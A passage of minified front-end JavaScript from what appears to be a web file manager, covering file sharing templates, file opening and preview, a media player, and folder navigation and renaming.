a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:A,appAddURL:F,share:f,shareBox:u,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:L,zipDownload:w,zip:N,copy:p,cute:b,info:k,remove:d,cuteDrag:C,copyDrag:z,past:y,clipboard:T,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">{{LNG.share_title}}</div>\n <div class="share_view_info"></div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.share_path}}:</span>\n <input id="share_name" type="text" name="path" value="" />\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_name}}:</span>\n <input type="hidden" name="sid"/>\n <input type="hidden" name="type"/>\n <input type="hidden" name="name"/>\n <input id="share_name" type="text" placeholder="{{LNG.share_name}}" name="show_name"/>\n <a href="javascript:void(0);" class="share_more">{{LNG.more}}<b class="caret"></b></a>\n <div style="clear:both"></div>\n </div>\n\n <div class="share_setting_more hidden">\n <div class="input_line">\n <span class="input_title">{{LNG.share_time}}:</span>\n <input id="share_time" type="text" placeholder="{{LNG.share_time}}" name="time_to"/>\n <i class="desc">{{LNG.share_time_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_password}}:</span>\n <input type="text" placeholder="{{LNG.share_password}}" name="share_password"/>\n <i class="desc">{{LNG.share_password_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line share_others">\n <span class="input_title">{{LNG.others}}:</span>\n <label class="label_code_read">\n <input type="checkbox" name="code_read" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_code_read}}</span>\n </label>\n <label>\n <input type="checkbox" name="not_download" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_not_download}}</span>\n </label>\n <label class="label_can_upload">\n <input type="checkbox" name="can_upload" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_can_upload}}</span>\n </label>\n\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line share_has_url clear">\n <span class="input_title">{{LNG.share_url}}:</span>\n <div class="input-group">\n <input type="text" class="share_url" aria-label="Text input with segmented button dropdown">\n <div class="input-group-btn">\n <button type="button" class="btn btn-default open_window">{{LNG.open}}</button>\n <button type="button" class="btn btn-default qrcode"><i class="icon-qrcode"></i></button>\n </div>\n <!-- <div class="share_jiathis_box"></div> -->\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n <div class="share_action">\n <button type="button" class="btn btn-primary share_create_button">{{LNG.share_create}}</button>\n <a type="button" href="javascript:void(0);" class="share_remove_button">{{LNG.share_cancle}}</a>\n </div>\n</div>'),define("app/common/tpl/fileinfo/path_info_more.html",[],"<div class='pathinfo'>\n <div class='p' style='line-height:40px;'>\n <div class='title'>{{LNG.info}}:</div>\n <div class='content'>\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n</div>\n"),define("app/common/tpl/app_edit.html",[],"<div class='appbox'>\n <div class='appline name'>\n <div class='left'>{{LNG.name}}</div>\n <div class='right'><input type='text' name='name' value='{{data.name}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline desc'>\n <div class='left'>{{LNG.app_desc}}</div>\n <div class='right'><input type='text' name='desc' value='{{data.desc}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline icon'>\n <div class='left'>{{LNG.app_icon}}</div>\n <div class='right'><input type='text' name='icon' class=\"app_edit_select_icon_input\" value='{{data.icon}}'/>\n <button class='btn btn-default btn-sm open app_edit_select_icon btn-right'>\n <i class=\"font-icon icon-folder-open\"></i>\n </button>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline group'>\n <div class='left'>{{LNG.app_group}}</div>\n <div class='right'>\n <select name='group'>\n <option value ='others'>{{LNG.app_group_others}}</option>\n <option value ='game'>{{LNG.app_group_game}}</option>\n <option value ='tools'>{{LNG.app_group_tools}}</option>\n <option value ='reader'>{{LNG.app_group_reader}}</option>\n <option value ='movie'>{{LNG.app_group_movie}}</option>\n <option value ='music'>{{LNG.app_group_music}}</option>\n <option value ='life'>{{LNG.app_group_life}}</option>\n <select>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline type'>\n <div class='left'>{{LNG.app_type}}</div>\n <div class='right'>\n <input class='w20 kui-radio size-small' type='radio' id='url{{uuid}}' apptype='url' value='url' name='{{uuid}}type' {{if data.type=='url'}}checked='checked'{{/if}}/>\n <label for='url{{uuid}}'>{{LNG.app_type_url}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app{{uuid}}' apptype='app' value='app' name='{{uuid}}type' {{if data.type=='app'}}checked='checked'{{/if}}/>\n <label for='app{{uuid}}'>{{LNG.app_type_code}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app_link{{uuid}}' apptype='app_link' value='app_link' name='{{uuid}}type' {{if data.type=='app_link'}}checked='checked'{{/if}}/>\n <label for='app_link{{uuid}}'>{{LNG.app_type_link}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_display}}</div>\n <div class='right'>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='simple{{uuid}}' name='simple' {{if data.simple}}checked='true'{{/if}} />\n <label for='simple{{uuid}}'>{{LNG.app_display_border}}</label>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='resize{{uuid}}' name='resize' {{if data.resize}}checked='true'{{/if}} />\n <label for='resize{{uuid}}'>{{LNG.app_display_size}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_size}}</div>\n <div class='right'>\n <input class='w30' type='text' name='width' value='{{data.width}}'/>({{LNG.width}}) \n <input class='w30' type='text' name='height' value='{{data.height}}'/>({{LNG.height}})\n\n <input class='w20 kui-checkbox size-small size-full' type='checkbox' id='size-full{{uuid}}' \n {{if data.width=='100%' && data.height=='100%'}}checked='true'{{/if}} />\n <label for='size-full{{uuid}}'>{{LNG.full_screen}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline content'>\n <div class='left hidden' data-type='app'>{{LNG.app_code}}</div>\n <div class='left hidden' data-type='app_link'>{{LNG.app_code}}</div>\n <div class='left' data-type='url'>{{LNG.app_url}}</div>\n <div class='right'><textarea name='content'>{{data.content}}</textarea></div>\n <div style='clear:both;'></div>\n </div>\n</div>\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t||(t=core.pathExt(e)),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,t))return core.zipView(e),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return p([{url:a,name:urlDecode(core.pathThis(e)),ext:t}]),void 0}if("pdf"!=t)return inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0);var n=core.path2url(e),a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(n);if(canvasSupport())core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)));else{var o="pdf"+UUID(),r='<div id="'+o+'" style="height:100%;"> <a href="'+n+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),PDFObject.embed(n,"#"+o)}}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var t=jsonDecode(e);t.name=core.pathThis(d),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){void 0==t&&(t="");var i='<div class="unknow_file can_select" style="width:260px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+t+"</span><br/><br/>"+'<a class="btn btn-default btn-nomal" href="javascript:ui.pathOpen.openEditorForce(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.edit+" </a> "+'<a class="btn btn-success btn-nomal ml-15" href="javascript:ui.pathOpen.download(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.unknow_file_download+" </a></div>";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('<iframe src="'+e+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(t=e),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&"hidden"==$(i.DOM.wrap).css("visibility")&&(a=200,i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e+".")?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:i,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(f){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,f(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),f(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),f(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];
|
||
i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},f=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='<li class="item"> <span class="name">'+t.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),u(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html(" "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},u=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),f=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(a)})},u=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:f,playSound:u}}),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var t=e("../../common/pathOperate"),i=e("../../common/pathOpen"),a=void 0;ui.pathOpen=i;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,t,i,a){if(e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof i&&i()})}},s=function(){var e=[],t=60,i=0,a=function(a){var n=e.length-1;return n==i&&e[n]==a?r():(i!=n&&(e=e.slice(0,i+1)),e[e.length-1]!=a&&e.push(a),e.length>=t&&(e=e.slice(1)),i=e.length-1,r(),void 0)},n=function(){e.length-1>=i+1&&(o(e[++i],"","",!0),r())},s=function(){i-1>=0&&(o(e[--i],"","",!0),r())},r=function(){var t="disable",a=e.length-1;$("#history_next").addClass(t),$("#history_back").addClass(t),(0!=i||0!=a)&&(i>0&&a>=i&&$("#history_back").removeClass(t),i>=0&&i!=a&&$("#history_next").removeClass(t))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var t=0;e.length>t;t++)e[t]=trim(e[t],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var t=trim(ui.fileLight.path($(this)),"/");t&&-1!=$.inArray(t,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var t=[];ui.fileLight.fileListAll().each(function(){var i=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));i&&e==i.substring(0,e.length).toLowerCase()&&t.push(a)}),a={key:e,path:G.this_path,index:0,list:t}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(t){var i=ui.fileLight.name($(this));-1!=i.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(t).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,t){var i=G.this_path+e;return void 0==t&&(i+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(i)+'"]').length?!0:!1},p=function(e,t){var i,a=0,n="."+t;if((void 0==t||""==t)&&(n=""),!d(e+n,t))return e+n;for(i=e+"(0)"+n;d(i,t);)a++,i=e+"("+a+")"+n;return i},f=function(e,i){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:i,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==i?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==t.strSort(r[a][l],d[l]))break}else if(-1!=t.strSort(r[a][l],d[l]))break;return a+n-1},u=function(i,a,n){ui.fileLight.clear();var o=f(a,i),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:i,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var u=$(".textarea .newfile"),h=a.length;"folder"!=i&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),u.textSelect(0,h),"list_split"==G.user_config.list_type&&u.css("width",u.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var _=function(e){e===!1?$("#makefile").remove():m(e)},v=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==i?t.newFolder(a+e,_):t.newFile(a+e,_)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),u.focus().autoTextarea(),u.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),v(u.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){v(u.attr("value"))})},h=function(){var e="",i=ui.fileLight.fileListSelect(),a=ui.fileLight.name(i),o=core.pathFather(ui.fileLight.path(i)),s=ui.fileLight.type(i);if(1==i.length&&n()){if(i.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="<input class='fix' id='pathRenameTextarea' value='"+r+"'/>";"icon"==G.user_config.list_type&&(l="<textarea class='fix' id='pathRenameTextarea'>"+r+"</textarea>",i.css({height:i.height()})),$(i).addClass("file_icon_edit").find(".title").html("<div class='textarea'>"+l+"<div>");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,t.rname(e,n,function(e){e===!1?$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(a)):m(e)});else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(i).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},_=function(e){var t={},i=[];e.sort(function(e,t){return e.path==t.path?0:e.path>t.path?1:-1});for(var a=function(e){for(var i=e;""!=e;){if(t[e]!==void 0)return 1==t[e]?!0:i==e?(t[e]=1,!1):!0;e=core.pathFather(e)}return!1},n=0;e.length>n;n++)if("folder"==e[n].type){var o=rtrim(e[n].path,"/")+"/";t[o]||a(o)||(t[o]=0)}for(var n=0;e.length>n;n++){var o=e[n].path;"folder"==e[n].type&&(o=rtrim(o,"/")+"/"),a(o)||i.push(e[n])}return i},v=function(e){if(e){var t=[];return 0==ui.fileLight.fileListSelect().length?t:(ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),i="folder"==ui.fileLight.type($(this))?"folder":"file";t.push({path:e,type:i})}),_(t))}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var i=ui.fileLight.fileListSelect(),a=ui.fileLight.path(i),n=ui.fileLight.type(i);return{path:a,type:n}},g=function(e,t){for(var i in G.json_data)if("filelist"==i||"folderlist"==i)for(var a=0;G.json_data[i].length>a;a++)if(G.json_data[i][a][e]==t)return G.json_data[i][a]};return{makeParam:v,history:s,getJsondataCell:g,checkSystemPath:n,appEdit:function(e){if(e)t.appEdit(0,0,"user_add");else{var i=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(i));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),t.appEdit(a)}},appList:function(){t.appList(v().path)},appInstall:function(){t.appInstall(v().path)},openEditor:function(){i.openEditor(v().path)},openWindow:function(){var e=v();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(i.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return i.open(e),void 0;if(void 0!=e)return i.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var t=v(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,t.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==t.type){var n=a.attr("data-app");t.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=t.type)&&i.open(t.path,t.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var t=ui.fileLight.type($(this));if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var i=ui.fileLight.path($(this)),a=core.path2url(i,!1);e.push({url:a,name:core.pathThis(i),ext:t})}}),i.play(e)}},pathOperate:t,share:function(){t.share(v())},setBackground:function(){var e=core.path2url(v().path);ShareData.frameTop("",function(t){t.ui.setWall(e)}),ui.setWall(e),t.setBackground(e)},createLink:function(e){var i=v(),a=ui.fileLight.fileListSelect().last();i.name=trim(a.find(".filename").text()),t.createLink(i.path,i.name,i.type,e,m)},createProject:function(){t.createProject(v().path,m)},download:function(){var e=v(!0);1==e.length&&"file"==e[0].type?i.download(v().path):t.zipDownload(e)},shareEdit:function(){var e=g("path",v().path);try{var 